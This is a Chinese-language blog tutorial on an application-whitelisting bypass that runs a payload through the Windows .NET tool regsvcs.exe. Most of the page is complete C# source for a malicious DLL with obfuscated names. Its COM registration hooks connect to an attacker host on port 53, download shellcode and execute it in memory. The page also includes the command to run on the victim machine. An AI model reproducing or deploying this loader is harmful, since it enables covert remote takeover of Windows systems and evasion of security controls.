专注APT攻击与防御

https://micropoor.blogspot.com/

Regsvcs简介：

Regsvcs为.NET服务安装工具，主要提供三类服务：

加载并注册程序集。

生成、注册类型库并将其安装到指定的 COM+ 1.0 应用程序中。配置以编程方式添加到类的服务。

说明：Regsvcs.exe所在路径没有被系统添加PATH环境变量中，因此，Regsvcs命令无法识别。

具体参考微软官方文档：https://docs.microsoft.com/en-us/dotnet/framework/tools/regsvcs-exe-net- services-installation-tool

基于白名单Regsvcs.exe配置payload：

Windows 7 默认位置：

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe

攻击机：192.168.1.4 Debian

靶机： 192.168.1.3 Windows 7配置攻击机msf：

靶机执行：

1 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe Micropoor.dl l

附录：Micropoor.cs注：x86 payload

1 using System; using System.Net; using System.Linq; using System.Net.So ckets; using System.Runtime.InteropServices; using System.Threading; usin g System.EnterpriseServices; using System.Windows.Forms;

2 namespace phwUqeuTRSqn

3 {

4 public class mfBxqerbXgh : ServicedComponent { 5

6 public mfBxqerbXgh() { Console.WriteLine("Micropoor"); } 7

8 [ComRegisterFunction]

9 public static void RegisterClass ( string DssjWsFMnwwXL )

10 {

11 uXsiCEXRzLNkI.BBNSohgZXGCaD();

12 } 13

14 [ComUnregisterFunction]

15 public static void UnRegisterClass ( string DssjWsFMnwwXL )

16 {

17 uXsiCEXRzLNkI.BBNSohgZXGCaD();

18 }

19 } 20

21 public class uXsiCEXRzLNkI

22 { [DllImport("kernel32")] private static extern UInt32 HeapCreate(UIn t32 pAyHWx, UInt32 KXNJUcPIUymFNbJ, UInt32 MotkftcMAIJRnW);

23 [DllImport("kernel32")] private static extern UInt32 HeapAlloc(UInt32 yjmmncJHBrUu, UInt32 MYjktCDxYrlTs, UInt32 zyBAwQVBQbi);

24 [DllImport("kernel32")] private static extern UInt32 RtlMoveMemory(UIn t32 PorEiXBhZkA, byte[] UIkcqF, UInt32 wAXQEPCIVJQQb);

25 [DllImport("kernel32")] private static extern IntPtr CreateThread(UInt

32 WNvQyYv, UInt32 vePRog, UInt32 Bwxjth, IntPtr ExkSdsTdwD, UInt32 KfNaM FOJVTSxbrR, ref UInt32 QEuyYka);

26 [DllImport("kernel32")] private static extern UInt32 WaitForSingleObje ct(IntPtr pzymHg, UInt32 lReJrqjtOqvkXk);static byte[] SVMBrK(string MKwS jIxqTxxEO, int jVaXWRxcmw) {

27 IPEndPoint hqbNYMZQr = new IPEndPoint(IPAddress.Parse(MKwSjIxqTxxEO), jVaXWRxcmw);

28 Socket LbLgipot = new Socket(AddressFamily.InterNetwork, SocketType.S tream, ProtocolType.Tcp);

29 try { LbLgipot.Connect(hqbNYMZQr); }

30 catch { return null;}

31 byte[] VKQsLPgLmVdp = new byte[4];

32 LbLgipot.Receive(VKQsLPgLmVdp, 4, 0);

33 int jbQtneZFbvzK = BitConverter.ToInt32(VKQsLPgLmVdp, 0);

34 byte[] cyDiPLJhiAQbw = new byte[jbQtneZFbvzK + 5];

35 int vyPloXEDJoylLbj = 0;

36 while (vyPloXEDJoylLbj < jbQtneZFbvzK)

37 { vyPloXEDJoylLbj += LbLgipot.Receive(cyDiPLJhiAQbw, vyPloXEDJoylLbj

+ 5, (jbQtneZFbvzK ‐ vyPloXEDJoylLbj) < 4096 ? (jbQtneZFbvzK ‐ vyPloXEDJo ylLbj) : 4096, 0);}

38 byte[] MkHUcy = BitConverter.GetBytes((int)LbLgipot.Handle);

39 Array.Copy(MkHUcy, 0, cyDiPLJhiAQbw, 1, 4); cyDiPLJhiAQbw[0] = 0xBF;

40 return cyDiPLJhiAQbw;}

41 static void ZFeAPdN(byte[] hjErkNfmkyBq) {

42 if (hjErkNfmkyBq != null) {

43 UInt32 xYfliOUgksPsv = HeapCreate(0x00040000, (UInt32)hjErkNfmkyBq.Le ngth, 0);

44 UInt32 eSiulXLtqQO = HeapAlloc(xYfliOUgksPsv, 0x00000008, (UInt32)hjE rkNfmkyBq.Length);

45 RtlMoveMemory(eSiulXLtqQO, hjErkNfmkyBq, (UInt32)hjErkNfmkyBq.Length);

46 UInt32 NByrFgKjVjB = 0;

47 IntPtr PsIqQCvc = CreateThread(0, 0, eSiulXLtqQO, IntPtr.Zero, 0, ref NByrFgKjVjB);

48 WaitForSingleObject(PsIqQCvc, 0xFFFFFFFF);}} 49

50 public static void BBNSohgZXGCaD() {

51 byte[] cyDiPLJhiAQbw = null; cyDiPLJhiAQbw = SVMBrK("192.168.1.4",

53);

52 ZFeAPdN(cyDiPLJhiAQbw);

53 } } }

Micropoor